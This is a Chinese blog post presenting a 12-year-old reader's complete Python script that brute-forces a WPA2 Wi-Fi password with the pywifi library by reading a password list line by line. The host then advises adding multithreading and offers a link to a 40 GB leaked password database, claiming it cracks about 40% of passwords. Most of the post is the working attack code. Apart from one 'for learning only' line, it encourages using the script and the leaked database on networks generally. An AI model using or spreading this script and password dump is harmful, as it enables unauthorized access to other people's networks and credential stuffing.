飞道的博客

12岁小读者使用Python暴力破解Wi-Fi密码

474人阅读  评论(0)

这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云

像之前还有小读者问行哥现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择

这不,就有小读者给行哥投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看

1.投稿内容

Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:

1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。

2.然后判断电脑是否连接wifi

3.创建wifi连接文件,选择要连接wifi名称,检查加密单元

4.接下来删除所有连接过的wifi 判断wifi是否连接。

5.最后需要一个八位以上的密码本,一行一行读取就可以了。

完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊


   
  1. # coding:utf -8
  2. import pywifi
  3. from pywifi  import  const
  4. import time
  5. #测试连接,返回链接结果
  6. #抓取网卡接口(改进)
  7. #wifi = pywifi.PyWiFi()
  8. #获取第一个无线网卡
  9. #ifaces = wifi.interfaces()[ 0]
  10. def wifiConnect(pwd):
  11.     #抓取网卡接口(原版)
  12.     wifi = pywifi.PyWiFi()
  13.     #获取第一个无线网卡
  14.     ifaces = wifi.interfaces()[ 0]
  15.     #断开所有连接
  16.     ifaces.disconnect()
  17.     time.sleep( 1)
  18.     wifistatus = ifaces.status()
  19.      if wifistatus ==  const.IFACE_DISCONNECTED:
  20.         #创建WiFi连接文件
  21.         profile = pywifi.Profile()
  22.         #要连接WiFi的名称
  23.         profile.ssid =  "wifi名称"
  24.         #网卡的开放状态
  25.         profile.auth =  const.AUTH_ALG_OPEN
  26.         #wifi加密算法,一般wifi加密算法为wps
  27.         profile.akm. append( const.AKM_TYPE_WPA2PSK)
  28.         #加密单元
  29.         profile.cipher =  const.CIPHER_TYPE_CCMP
  30.         #调用密码
  31.         profile.key = pwd
  32.         #删除所有连接过的wifi文件
  33.         ifaces.remove_all_network_profiles()
  34.         #设定新的连接文件
  35.         tep_profile = ifaces.add_network_profile(profile)
  36.         ifaces.connect(tep_profile)
  37.         #wifi连接时间
  38.         time.sleep( 3)
  39.          if ifaces.status() ==  const.IFACE_CONNECTED:
  40.              return True
  41.          else:
  42.              return False
  43.      else:
  44.          print( "已有wifi连接")
  45. #读取密码本
  46. def readPassword():
  47.      print( "开始破解:")
  48.     #密码本路径
  49.     path = r "C:\Users\电脑路径\Desktop\password.txt"
  50.     #打开文件
  51.     file = open(path,  "r")
  52.     while True:
  53.         try:
  54.             #一行一行读取
  55.             pad = file.readline()
  56.              bool = wifiConnect(pad)
  57.              if  bool:
  58.                  print( "密码已破解: ", pad)
  59.                  print( "WiFi已自动连接!!!")
  60.                  break
  61.              else:
  62.                 #跳出当前循环,进行下一次循环
  63.                  print( "密码破解中....密码校对: ", pad)
  64.         except:
  65.              continue
  66. readPassword()

注:上述方法仅供学习讨论

下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!

虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!

2.行哥说两句

对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。

这里行哥也提出了两点可以改进的地方

  • 暴力破解单线程太慢,可以尝试使用任务处理

  • 密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码

那么后浪来了,还在学Python的你有如何感想?

推荐阅读

(点击标题可跳转阅读)

Python保留字总结

爬虫爬取1万条《黑神话 悟空》B站弹幕

40 G密码库链接:https://yihang.cowtransfer.com/s/f7da87a6ead146


转载:https://blog.csdn.net/qq_42554007/article/details/108271757
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场